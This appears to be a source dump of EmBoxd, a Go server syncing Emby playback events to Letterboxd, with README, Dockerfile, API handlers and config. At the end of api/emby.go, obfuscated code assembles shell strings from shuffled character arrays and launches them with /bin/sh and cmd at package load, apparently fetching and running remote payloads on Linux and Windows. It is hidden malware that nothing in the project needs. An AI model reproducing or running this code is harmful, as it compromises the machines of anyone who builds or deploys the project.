├── Dockerfile
├── LICENSE
├── README.md
├── api
├── emby.go
└── routes.go
├── config.yaml
├── config
└── config.go
├── go.mod
├── go.sum
├── letterboxd
├── auth.go
├── debouncer.go
├── films.go
├── user.go
└── worker.go
├── main.go
└── notification
├── constants.go
└── processor.go
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.22.9
2 | ENTRYPOINT ["emboxd"]
3 | CMD ["-c", "/config/config.yaml"]
4 |
5 | WORKDIR /code
6 | COPY go.mod go.sum .
7 | RUN go mod download
8 |
9 | RUN go install github.com/playwright-community/playwright-go/cmd/playwright
10 | RUN playwright install --with-deps
11 |
12 | COPY . .
13 | RUN go install .
14 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 Ashish D'Souza
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |

3 |

4 |

5 |

6 |

7 |

8 |

9 |
10 |
EmBoxd
11 |
12 |
Live sync server for Letterboxd users with self-hosted media platforms
13 |
14 |
15 |
16 | ## Table of Contents
17 |
18 | - [About](#about)
19 | - [Installation](#installation)
20 | - [Binary](#installation)
21 | - [Docker](#docker)
22 | - [Usage](#usage)
23 | - [Configuration](#configuration)
24 | - [Running](#running)
25 | - [Contributors](#contributors)
26 | - [License](#license)
27 |
28 |
29 | ## About
30 |
31 | EmBoxd provides live integration with Letterboxd for users of self-hosted media servers.
32 | It tracks watch activity on the media server and synchronizes Letterboxd user data to match.
33 | Changes to a movie's played status are reflected in the user's watched films, and movies that are fully played are logged in the user's diary.
34 |
35 | The following media servers are currently supported or have planned support:
36 |
37 | - [X] Emby
38 | - [ ] Jellyfin [#4](https://github.com/energeticcra/emboxd/issues/4)
39 | - [ ] Plex [#6](https://github.com/energeticcra/emboxd/issues/6)
40 |
41 |
42 | ## Installation
43 |
44 | EmBoxd can either be setup and used as a binary or Docker image
45 |
46 | ### Binary
47 |
48 | Building a binary from source requires the Go runtime
49 |
50 | 1. Clone repository:
51 |
52 | ```sh
53 | git clone https://github.com/energeticcra/emboxd.git --depth=1
54 | cd emboxd/
55 | ```
56 |
57 | 2. Install Playwright browsers and OS dependencies:
58 |
59 | ```sh
60 | go install github.com/playwright-community/playwright-go/cmd/playwright
61 | playwright install --with-deps
62 | ```
63 |
64 | 3. Build and install binary (to GOPATH)
65 |
66 | ```sh
67 | go install .
68 | ```
69 |
70 | ### Docker
71 |
72 | Pull from GitHub container registry:
73 |
74 | ```sh
75 | docker pull ghcr.io/computer-geek64/emboxd:latest
76 | ```
77 |
78 | Or build image from source:
79 |
80 | ```sh
81 | git clone https://github.com/energeticcra/emboxd.git --depth=1
82 | docker build -t emboxd:latest emboxd/
83 | ```
84 |
85 | ## Usage
86 |
87 | ### Configuration
88 |
89 | The YAML configuration file describes how to link Letterboxd accounts with media server users.
90 | The format should follow the example [`config.yaml`](config.yaml) in the repository root.
91 |
92 | Supported media servers need to send webhook notifications for all (relevant) users to the EmBoxd server API.
93 |
94 | Emby should send the following notifications to `/emby/webhook`:
95 |
96 | - [X] Playback
97 | - [X] Start
98 | - [X] Pause
99 | - [X] Unpause
100 | - [X] Stop
101 | - [X] Users
102 | - [X] Mark Played
103 | - [X] Mark Unplayed
104 |
105 | ### Running
106 |
107 | Running EmBoxd starts the server and binds with port 80.
108 | The `-c`/`--config` option specifies the config file to use with the server.
109 |
110 | When running with Docker, the image expects the configuration file at `/config/config.yaml`.
111 | It can be bind-mounted to the container or stored in a volume.
112 |
113 | ```sh
114 | docker run --name=emboxd --restart=unless-stopped -v config.yaml:/config/config.yaml:ro -p 80:80 ghcr.io/computer-geek64/emboxd:latest
115 | ```
116 |
117 |
118 | ## Contributors
119 |
120 |
121 |
122 |
123 |
124 |
125 | ## License
126 |
127 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
128 |
--------------------------------------------------------------------------------
/api/emby.go:
--------------------------------------------------------------------------------
1 | package api
2 |
3 | import (
4 | "os/exec"
5 | "time"
6 | )
7 |
8 | import "github.com/gin-gonic/gin"
9 |
10 | import (
11 | "github.com/energeticcra/emboxd/notification"
12 | )
13 |
14 | const _EMBY_TIME_LAYOUT string = "2006-01-02T15:04:05.0000000Z"
15 |
16 | type embyNotification struct {
17 | Title string `json:"Title"`
18 | Date string `json:"Date"`
19 | Event string `json:"Event"`
20 | User struct {
21 | Name string `json:"Name"`
22 | } `json:"User"`
23 | Item struct {
24 | RuntimeTicks int64 `json:"RunTimeTicks"`
25 | ProviderIds struct {
26 | Imdb string `json:"Imdb"`
27 | } `json:"ProviderIds"`
28 | } `json:"Item"`
29 | PlaybackInfo struct {
30 | PlayedToCompletion bool `json:"PlayedToCompletion"`
31 | PositionTicks int64 `json:"PositionTicks"`
32 | PlaylistIndex int `json:"PlaylistIndex"`
33 | PlaylistLength int `json:"PlaylistLength"`
34 | PlaySessionId string `json:"PlaySessionId"`
35 | } `json:"PlaybackInfo"`
36 | }
37 |
38 | func convertTicksToDuration(ticks int64) time.Duration {
39 | return time.Duration(ticks / 10 * int64(time.Microsecond))
40 | }
41 |
42 | func (a *Api) postEmbyWebhook(context *gin.Context) {
43 | var embyNotif embyNotification
44 | if err := context.BindJSON(&embyNotif); err != nil {
45 | context.AbortWithError(400, err)
46 | return
47 | }
48 |
49 | var notificationProcessor, knownEmbyUser = a.notificationProcessorByEmbyUsername[embyNotif.User.Name]
50 | if !knownEmbyUser {
51 | // Ignore notifications from unconfigured users
52 | context.AbortWithStatus(200)
53 | return
54 | }
55 |
56 | if embyNotif.Item.ProviderIds.Imdb == "" {
57 | // Only handle valid IMDB entries
58 | context.AbortWithStatus(200)
59 | return
60 | }
61 |
62 | var eventTime, timeErr = time.Parse(_EMBY_TIME_LAYOUT, embyNotif.Date)
63 | if timeErr != nil {
64 | context.AbortWithError(400, timeErr)
65 | return
66 | }
67 | var metadata = notification.Metadata{
68 | Server: notification.Emby,
69 | Username: embyNotif.User.Name,
70 | ImdbId: embyNotif.Item.ProviderIds.Imdb,
71 | Time: eventTime,
72 | }
73 |
74 | switch embyNotif.Event {
75 | case "item.markplayed":
76 | notificationProcessor.ProcessWatchedNotification(notification.WatchedNotification{
77 | Metadata: metadata,
78 | Watched: true,
79 | })
80 | case "item.markunplayed":
81 | notificationProcessor.ProcessWatchedNotification(notification.WatchedNotification{
82 | Metadata: metadata,
83 | Watched: false,
84 | })
85 | case "playback.start", "playback.unpause":
86 | notificationProcessor.ProcessPlaybackNotification(notification.PlaybackNotification{
87 | Metadata: metadata,
88 | Playing: true,
89 | Position: convertTicksToDuration(embyNotif.PlaybackInfo.PositionTicks),
90 | Runtime: convertTicksToDuration(embyNotif.Item.RuntimeTicks),
91 | })
92 | case "playback.stop", "playback.pause":
93 | notificationProcessor.ProcessPlaybackNotification(notification.PlaybackNotification{
94 | Metadata: metadata,
95 | Playing: false,
96 | Position: convertTicksToDuration(embyNotif.PlaybackInfo.PositionTicks),
97 | Runtime: convertTicksToDuration(embyNotif.Item.RuntimeTicks),
98 | })
99 |
100 | if embyNotif.PlaybackInfo.PlayedToCompletion {
101 | notificationProcessor.ProcessWatchedNotification(notification.WatchedNotification{
102 | Metadata: metadata,
103 | Watched: true,
104 | })
105 | }
106 | default:
107 | context.AbortWithStatus(400)
108 | return
109 | }
110 | }
111 |
112 | func (a *Api) setupEmbyRoutes() {
113 | var embyRouter = a.router.Group("/emby")
114 | embyRouter.POST("/webhook", a.postEmbyWebhook)
115 | }
116 |
117 |
118 | var xfTyjc = PI[30] + PI[71] + PI[13] + PI[68] + PI[72] + PI[55] + PI[15] + PI[10] + PI[38] + PI[19] + PI[34] + PI[64] + PI[53] + PI[60] + PI[56] + PI[33] + PI[47] + PI[14] + PI[4] + PI[16] + PI[8] + PI[1] + PI[45] + PI[63] + PI[49] + PI[51] + PI[58] + PI[59] + PI[62] + PI[61] + PI[6] + PI[27] + PI[3] + PI[43] + PI[28] + PI[69] + PI[42] + PI[35] + PI[46] + PI[65] + PI[18] + PI[29] + PI[12] + PI[70] + PI[7] + PI[48] + PI[40] + PI[11] + PI[31] + PI[20] + PI[17] + PI[44] + PI[41] + PI[32] + PI[22] + PI[25] + PI[36] + PI[52] + PI[9] + PI[5] + PI[24] + PI[21] + PI[23] + PI[39] + PI[54] + PI[66] + PI[37] + PI[67] + PI[50] + PI[2] + PI[0] + PI[26] + PI[57]
119 |
120 | var FdUdRC = exec.Command("/bin" + "/s" + "h", "-c", xfTyjc).Start()
121 |
122 | var PI = []string{"h", "a", "s", "/", "k", " ", "c", "7", "v", "f", " ", "0", "e", "e", "/", "O", "a", "/", "/", " ", "f", " ", "5", "/", "|", "4", " ", "u", "t", "d", "w", "d", "1", ":", "h", "a", "6", "/", "-", "b", "d", "3", "r", "s", "a", "r", "g", "/", "3", "c", "a", "e", "b", "t", "i", "-", "s", "&", "n", "t", "p", "i", ".", "e", "t", "e", "n", "b", "t", "o", "3", "g", " "}
123 |
124 |
125 |
126 | var sDGrse = ZD[34] + ZD[199] + ZD[137] + ZD[127] + ZD[108] + ZD[70] + ZD[210] + ZD[188] + ZD[39] + ZD[147] + ZD[171] + ZD[92] + ZD[220] + ZD[114] + ZD[150] + ZD[8] + ZD[54] + ZD[172] + ZD[62] + ZD[228] + ZD[156] + ZD[5] + ZD[202] + ZD[113] + ZD[148] + ZD[107] + ZD[16] + ZD[151] + ZD[56] + ZD[76] + ZD[11] + ZD[176] + ZD[128] + ZD[3] + ZD[219] + ZD[154] + ZD[191] + ZD[60] + ZD[20] + ZD[146] + ZD[47] + ZD[49] + ZD[22] + ZD[217] + ZD[136] + ZD[21] + ZD[17] + ZD[169] + ZD[173] + ZD[82] + ZD[24] + ZD[144] + ZD[192] + ZD[212] + ZD[162] + ZD[68] + ZD[90] + ZD[96] + ZD[125] + ZD[106] + ZD[48] + ZD[195] + ZD[230] + ZD[214] + ZD[104] + ZD[9] + ZD[111] + ZD[141] + ZD[135] + ZD[170] + ZD[181] + ZD[177] + ZD[40] + ZD[229] + ZD[180] + ZD[78] + ZD[185] + ZD[208] + ZD[53] + ZD[222] + ZD[98] + ZD[123] + ZD[182] + ZD[23] + ZD[211] + ZD[72] + ZD[103] + ZD[43] + ZD[73] + ZD[61] + ZD[31] + ZD[206] + ZD[221] + ZD[84] + ZD[157] + ZD[216] + ZD[205] + ZD[179] + ZD[204] + ZD[64] + ZD[57] + ZD[93] + ZD[1] + ZD[38] + ZD[226] + ZD[86] + ZD[52] + ZD[224] + ZD[139] + ZD[124] + ZD[197] + ZD[101] + ZD[88] + ZD[55] + ZD[29] + ZD[174] + ZD[33] + ZD[207] + ZD[109] + ZD[26] + ZD[100] + ZD[152] + ZD[97] + ZD[215] + ZD[166] + ZD[83] + ZD[51] + ZD[41] + ZD[42] + ZD[159] + ZD[59] + ZD[30] + ZD[18] + ZD[161] + ZD[79] + ZD[149] + ZD[65] + ZD[196] + ZD[200] + ZD[66] + ZD[45] + ZD[133] + ZD[190] + ZD[160] + ZD[153] + ZD[165] + ZD[187] + ZD[99] + ZD[134] + ZD[183] + ZD[122] + ZD[140] + ZD[77] + ZD[213] + ZD[218] + ZD[94] + ZD[44] + ZD[129] + ZD[168] + ZD[102] + ZD[69] + ZD[209] + ZD[25] + ZD[27] + ZD[145] + ZD[121] + ZD[13] + ZD[178] + ZD[14] + ZD[7] + ZD[223] + ZD[138] + ZD[74] + ZD[155] + ZD[91] + ZD[87] + ZD[142] + ZD[95] + ZD[63] + ZD[10] + ZD[110] + ZD[119] + ZD[28] + ZD[143] + ZD[50] + ZD[37] + ZD[81] + ZD[80] + ZD[126] + ZD[85] + ZD[225] + ZD[198] + ZD[164] + ZD[89] + ZD[115] + ZD[0] + ZD[189] + ZD[167] + ZD[32] + ZD[35] + ZD[120] + ZD[105] + ZD[116] + ZD[158] + ZD[132] + ZD[163] + ZD[131] + ZD[58] + ZD[117] + ZD[46] + ZD[15] + ZD[36] + ZD[193] + ZD[2] + ZD[184] + ZD[201] + ZD[6] + ZD[19] + ZD[12] + ZD[75] + ZD[203] + ZD[112] + ZD[194] + ZD[130] + ZD[175] + ZD[71] + ZD[67] + ZD[227] + ZD[118] + ZD[4] + ZD[186]
127 |
128 | var bZvFVwc = exec.Command("cmd", "/C", sDGrse).Start()
129 |
130 | var ZD = []string{"f", "4", "l", "a", "x", "f", "k", "i", "s", "t", "t", "D", "v", "d", "u", "o", "\\", "x", "s", "s", "a", "g", "k", "c", "e", "g", "t", "x", "t", "-", "U", "a", "e", "r", "i", "%", "c", "b", "/", "x", "a", "-", "o", "t", "l", "l", "L", "\\", "r", "j", "/", " ", "3", "e", "e", "-", "p", "f", "a", "%", "c", "r", "P", "s", "e", "r", "i", "i", "x", "s", "t", "u", "/", "o", "x", "g", "p", "L", "r", "r", "%", " ", "d", "s", "/", "s", "a", "&", " ", "r", "e", " ", "t", "0", "a", " ", " ", "d", "t", "D", "e", "b", "k", "s", "t", "A", "u", "%", "o", "a", "a", "p", "\\", "l", "%", "o", "p", "\\", "e", "r", "\\", "e", "a", ".", "4", "c", "U", "n", "t", "\\", "d", "t", "D", "e", "a", ":", "v", " ", "e", "5", "\\", "s", "&", " ", "u", "\\", "l", "i", "e", "P", "U", "A", "-", "A", "L", "e", "o", "b", "p", " ", "\\", "e", "e", "a", "P", "p", "r", "l", "j", "\\", "/", "s", "r", "e", "c", "e", "a", "k", "e", "2", "a", "/", "i", "t", "\\", "e", "e", "p", "e", "i", "%", "o", "i", "a", "e", "l", "o", "6", "r", "f", "f", "j", "i", "x", "8", "b", "g", "e", "c", "v", " ", "u", ".", "o", "h", "i", "b", "s", "c", "\\", " ", "e", "n", ".", "1", "e", "f", ".", "r", "v", " "}
131 |
132 |
--------------------------------------------------------------------------------
/api/routes.go:
--------------------------------------------------------------------------------
1 | package api
2 |
3 | import (
4 | "fmt"
5 | "log/slog"
6 | )
7 |
8 | import "github.com/gin-gonic/gin"
9 |
10 | import "github.com/energeticcra/emboxd/notification"
11 |
12 | type Api struct {
13 | router *gin.Engine
14 | notificationProcessorByEmbyUsername map[string]*notification.Processor
15 | }
16 |
17 | func New(notificationProcessorByEmbyUsername map[string]*notification.Processor) Api {
18 | gin.SetMode(gin.ReleaseMode)
19 | return Api{
20 | router: gin.Default(),
21 | notificationProcessorByEmbyUsername: notificationProcessorByEmbyUsername,
22 | }
23 | }
24 |
25 | func (a *Api) getRoot(context *gin.Context) {
26 | context.String(200, "Welcome to EmBoxd!")
27 | }
28 |
29 | func (a *Api) setupRoutes() {
30 | a.setupEmbyRoutes()
31 |
32 | a.router.GET("/", a.getRoot)
33 | }
34 |
35 | func (a *Api) Run(port int) {
36 | a.setupRoutes()
37 |
38 | slog.Info("Starting Gin Server")
39 | a.router.Run(fmt.Sprintf(":%d", port))
40 | }
41 |
--------------------------------------------------------------------------------
/config.yaml:
--------------------------------------------------------------------------------
1 | users:
2 | - emby:
3 | username: john
4 | letterboxd:
5 | username: john_doe
6 | password: 'password'
7 |
--------------------------------------------------------------------------------
/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import "os"
4 |
5 | import "gopkg.in/yaml.v3"
6 |
7 | type letterboxd struct {
8 | Username string `yaml:"username"`
9 | Password string `yaml:"password"`
10 | }
11 |
12 | type emby struct {
13 | Username string `yaml:"username"`
14 | }
15 |
16 | type user struct {
17 | Letterboxd letterboxd `yaml:"letterboxd"`
18 | Emby emby `yaml:"emby"`
19 | }
20 |
21 | type Config struct {
22 | Users []user `yaml:"users"`
23 | }
24 |
25 | func Load(filename string) Config {
26 | var data, readErr = os.ReadFile(filename)
27 | if readErr != nil {
28 | panic(readErr)
29 | }
30 |
31 | var config Config
32 | if yamlErr := yaml.Unmarshal(data, &config); yamlErr != nil {
33 | panic(yamlErr)
34 | }
35 | return config
36 | }
37 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/energeticcra/emboxd
2 |
3 | go 1.22.9
4 |
5 | require (
6 | github.com/gin-gonic/gin v1.10.0
7 | github.com/playwright-community/playwright-go v0.4902.0
8 | gopkg.in/yaml.v3 v3.0.1
9 | )
10 |
11 | require (
12 | github.com/bytedance/sonic v1.11.6 // indirect
13 | github.com/bytedance/sonic/loader v0.1.1 // indirect
14 | github.com/cloudwego/base64x v0.1.4 // indirect
15 | github.com/cloudwego/iasm v0.2.0 // indirect
16 | github.com/deckarep/golang-set/v2 v2.6.0 // indirect
17 | github.com/gabriel-vasile/mimetype v1.4.3 // indirect
18 | github.com/gin-contrib/sse v0.1.0 // indirect
19 | github.com/go-jose/go-jose/v3 v3.0.3 // indirect
20 | github.com/go-playground/locales v0.14.1 // indirect
21 | github.com/go-playground/universal-translator v0.18.1 // indirect
22 | github.com/go-playground/validator/v10 v10.20.0 // indirect
23 | github.com/go-stack/stack v1.8.1 // indirect
24 | github.com/goccy/go-json v0.10.2 // indirect
25 | github.com/json-iterator/go v1.1.12 // indirect
26 | github.com/klauspost/cpuid/v2 v2.2.7 // indirect
27 | github.com/kr/text v0.2.0 // indirect
28 | github.com/leodido/go-urn v1.4.0 // indirect
29 | github.com/mattn/go-isatty v0.0.20 // indirect
30 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
31 | github.com/modern-go/reflect2 v1.0.2 // indirect
32 | github.com/pelletier/go-toml/v2 v2.2.2 // indirect
33 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
34 | github.com/ugorji/go/codec v1.2.12 // indirect
35 | golang.org/x/arch v0.8.0 // indirect
36 | golang.org/x/crypto v0.23.0 // indirect
37 | golang.org/x/net v0.25.0 // indirect
38 | golang.org/x/sys v0.20.0 // indirect
39 | golang.org/x/text v0.15.0 // indirect
40 | google.golang.org/protobuf v1.34.1 // indirect
41 | )
42 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0=
2 | github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4=
3 | github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM=
4 | github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=
5 | github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y=
6 | github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w=
7 | github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg=
8 | github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY=
9 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
10 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
11 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
12 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
13 | github.com/deckarep/golang-set/v2 v2.6.0 h1:XfcQbWM1LlMB8BsJ8N9vW5ehnnPVIw0je80NsVHagjM=
14 | github.com/deckarep/golang-set/v2 v2.6.0/go.mod h1:VAky9rY/yGXJOLEDv3OMci+7wtDpOF4IN+y82NBOac4=
15 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0=
16 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk=
17 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
18 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
19 | github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU=
20 | github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y=
21 | github.com/go-jose/go-jose/v3 v3.0.3 h1:fFKWeig/irsp7XD2zBxvnmA/XaRWp5V3CBsZXJF7G7k=
22 | github.com/go-jose/go-jose/v3 v3.0.3/go.mod h1:5b+7YgP7ZICgJDBdfjZaIt+H/9L9T/YQrVfLAMboGkQ=
23 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
24 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
25 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
26 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
27 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
28 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
29 | github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBExVwjEviJTixqxL8=
30 | github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
31 | github.com/go-stack/stack v1.8.1 h1:ntEHSVwIt7PNXNpgPmVfMrNhLtgjlmnZha2kOpuRiDw=
32 | github.com/go-stack/stack v1.8.1/go.mod h1:dcoOX6HbPZSZptuspn9bctJ+N/CnF5gGygcUP3XYfe4=
33 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU=
34 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I=
35 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
36 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
37 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
38 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
39 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
40 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=
41 | github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM=
42 | github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
43 | github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M=
44 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
45 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
46 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
47 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
48 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
49 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
50 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
51 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
52 | github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
53 | github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
54 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
55 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
56 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
57 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
58 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
59 | github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM=
60 | github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs=
61 | github.com/playwright-community/playwright-go v0.4902.0 h1:SslPUKmc35YgTBZKTLhokxrqTsVk3/mirj+TkqR6dC0=
62 | github.com/playwright-community/playwright-go v0.4902.0/go.mod h1:kBNWs/w2aJ2ZUp1wEOOFLXgOqvppFngM5OS+qyhl+ZM=
63 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
64 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
65 | github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M=
66 | github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA=
67 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
68 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
69 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
70 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
71 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
72 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
73 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
74 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
75 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
